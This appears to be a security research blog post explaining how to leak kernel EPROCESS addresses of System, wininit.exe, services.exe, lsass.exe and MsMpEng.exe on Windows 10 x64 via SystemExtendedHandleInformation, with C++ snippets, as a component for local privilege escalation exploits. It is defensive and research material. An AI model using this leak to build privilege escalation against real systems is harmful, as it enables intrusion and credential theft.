Today I would like to briefly describe a simple method of obtaining the EPROCESS addresses of some specific system processes, which can be later used as a part of the Local Privilege Escalation exploit. This is an extension to the well known NtQuerySystemInformation (SystemExtendedHandleInformation) EPROCESSes leak. In the typical scenario SystemExtendedHandleInformation class can be used to map all processes of the currently logged in user to the correct EPROCESS address (plus a few more processes that allow OpenProcess with the SYNCHRONIZE flag, but I’ll get to this point later). Implementation of this approach is quite straightforward (some details omitted for the sake of readability):

typedef std :: unique_ptr < std :: remove_pointer < HANDLE > :: type , decltype ( & CloseHandle ) > SmartHANDLE ; std :: vector < uint32_t > PIDS = collectRunningProcessesPIDs ( ) ; std :: unordered_map < uint32_t , SmartHANDLE > pidToH ; for ( auto p : PIDS ) { HANDLE tmp = OpenProcess ( SYNCHRONIZE, FALSE, p ) ; if ( NULL ! = tmp ) pidToH. emplace ( std :: pair < uint32_t , SmartHANDLE > ( p, SmartHANDLE ( tmp, CloseHandle ) ) ) ; } std :: unordered_map < uint32_t , uint64_t > pidToEPR ; SYSTEM_HANDLE_INFORMATION_EX * h = ( SYSTEM_HANDLE_INFORMATION_EX * ) malloc ( /*XXXX*/ ) ; if ( NT_SUCCESS ( NtQuerySystemInformation ( SystemExtendedHandleInformation, h, /*XXXX*/ , & len ) ) ) { for ( uint32_t i = 0 ; i < h - > NumberOfHandles ; i ++ ) { for ( auto & ph : pidToH ) { if ( ( h - > Handles [ i ] . UniqueProcessId == GetCurrentProcessId ( ) ) && ( ( HANDLE ) h - > Handles [ i ] . HandleValue == ph. second . get ( ) ) ) { pidToEPR [ ph. first ] = ( uint64_t ) h - > Handles [ i ] . Object ; } } if ( pidToEPR. size ( ) == pidToH. size ( ) ) break ; } } typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&CloseHandle)> SmartHANDLE; std::vector<uint32_t> PIDS = collectRunningProcessesPIDs(); std::unordered_map<uint32_t, SmartHANDLE> pidToH; for (auto p : PIDS) { HANDLE tmp = OpenProcess(SYNCHRONIZE, FALSE, p); if (NULL != tmp) pidToH.emplace(std::pair<uint32_t, SmartHANDLE>(p, SmartHANDLE(tmp, CloseHandle))); } std::unordered_map<uint32_t, uint64_t> pidToEPR; SYSTEM_HANDLE_INFORMATION_EX* h = (SYSTEM_HANDLE_INFORMATION_EX*)malloc(/*XXXX*/); if (NT_SUCCESS(NtQuerySystemInformation(SystemExtendedHandleInformation, h, /*XXXX*/, &len))) { for (uint32_t i = 0; i < h->NumberOfHandles; i++) { for (auto& ph : pidToH) { if ((h->Handles[i].UniqueProcessId == GetCurrentProcessId()) && ((HANDLE)h->Handles[i].HandleValue == ph.second.get())) { pidToEPR[ph.first] = (uint64_t)h->Handles[i].Object; } } if (pidToEPR.size() == pidToH.size()) break; } }

After the execution of the above snippet, pidToEPR map contains mapping PID -> EPROCESSes of all open-able processes, which is the only small subset of all running processes. SYSTEM_HANDLE_INFORMATION_EX structure contains addresses of all EPROCESS structures that are present in the system, but there is no direct way to properly map them to the specific PID.

At this point, I’ve started analyzing the data that is available in SYSTEM_HANDLE_INFORMATION_EX and I’ve found a way to identify few key system processes: [System], wininit.exe, services.exe and lsass.exe. Set of rules that I’ve defined, is valid for Windows 10 x64, but similar approach can be used for earlier Windows versions. So let’s start with [System] process as it’s the easiest one:

for ( uint32_t i = 0 ; i < h - > NumberOfHandles ; i ++ ) { if ( h - > Handles [ i ] . ObjectTypeIndex == TypeIndexProcess ) { if ( ( h - > Handles [ i ] . UniqueProcessId == 4 ) && ( h - > Handles [ i ] . HandleValue == 4 ) ) { systemEproc = ( uint64_t ) h - > Handles [ i ] . Object ; break ; } } } for (uint32_t i = 0; i < h->NumberOfHandles; i++) { if (h->Handles[i].ObjectTypeIndex == TypeIndexProcess) { if ((h->Handles[i].UniqueProcessId == 4) && (h->Handles[i].HandleValue == 4)) { systemEproc = (uint64_t)h->Handles[i].Object; break; } } }

This looks like some black magic (numbers), but it seems that it’s consistent across most Windows versions. First handle (4) in the first process (PID: 4, [System]) is the actual [System] process handle. I could probably back this claim up with some snippet from IDA, but I believe it’s not necessary. There is also second method that can be used to leak [System] EPROCESS address, but I’m not really sure about its reliability, namely, the lowest EPROCESS pointer that can be found in the SYSTEM_HANDLE_INFORMATION_EX data is the [System] process. It probably can be explained by looking at the kernel pool implementation, but again, I’m not going to do it here.

The rest of the processes from my list are somehow interconnected and their EPROCESSes cannot be found separately. There are basically two rules that needs to be applied:

get all EPROCESS es referenced by [System] process that have GrantedAccess field set to 0 – this is very unusual, and on Win10x64 that I’m conducting this research, there are only two processes that meet this criteria: wininit.exe and services.exe

es referenced by [System] process that have field set to – this is very unusual, and on that I’m conducting this research, there are only two processes that meet this criteria: wininit.exe and services.exe get all EPROCESSes referenced by wininit.exe process – on Win10 there should be only two processes on the list: lsass.exe and services.exe

Now, the intersection of above sets is the services.exe EPROCESS, and by removing services.exe EPROCESS from both sets, there should be only one entry in each set: wininit.exe and lsass.exe. The sample code could look like this:

std :: set < uint64_t > zeroAccEPR ; std :: set < uint64_t > winInitEPR ; for ( int i = 0 ; i < h - > NumberOfHandles ; i ++ ) { if ( h - > Handles [ i ] . ObjectTypeIndex == TypeIndexProcess ) { if ( ( h - > Handles [ i ] . UniqueProcessId == 4 ) && ( h - > Handles [ i ] . GrantedAccess == 0 ) ) zeroAccEPR. insert ( ( uint64_t ) h - > Handles [ i ] . Object ) ; if ( wcsicmp ( getPIDName ( h - > Handles [ i ] . UniqueProcessId ) , L "wininit.exe" ) == 0 ) winInitEPR. insert ( ( uint64_t ) h - > Handles [ i ] . Object ) ; } } // here one can use std::set_intersection() and std::set_difference() or // just do it manually, since each set has only two elements std::set<uint64_t> zeroAccEPR; std::set<uint64_t> winInitEPR; for (int i = 0; i < h->NumberOfHandles; i++) { if (h->Handles[i].ObjectTypeIndex == TypeIndexProcess) { if ((h->Handles[i].UniqueProcessId == 4) && (h->Handles[i].GrantedAccess == 0)) zeroAccEPR.insert((uint64_t)h->Handles[i].Object); if (wcsicmp(getPIDName(h->Handles[i].UniqueProcessId), L"wininit.exe") == 0) winInitEPR.insert((uint64_t)h->Handles[i].Object); } } // here one can use std::set_intersection() and std::set_difference() or // just do it manually, since each set has only two elements

By applying similar methodology it’s also possible to identify some other system processes, or at least reduce the possible EPROCESS addresses to only a few. For example smss.exe keeps process handles to all csrss.exe processes (plus one svchost). Winlogon.exe can be used to identify dwm.exe EPROCESS, each csrss.exe process keeps handles to all processes in particular session.

Let’s get back to the mentioned earlier OpenProcess with SYNCHRONIZE flag. There is one system process (NT AUTHORITY\SYSTEM) that can be opened with this flag by any user, so it’s possible to get some system EPROCESS with almost zero effort. The name of the process is MsMpEng.exe (Antimalware Service Executable).

I’m not going to publish any ready to use source code this time, as the above research is part of the other project that I’m currently working on and it should be published soon. So, stay tuned.

References:

1. Alex Ionescu – I Got 99 Problem But a Kernel Pointer Ain’t One

2. Mateusz “j00ru” Jurczyk – Windows Security Hardening Through Kernel Address Protection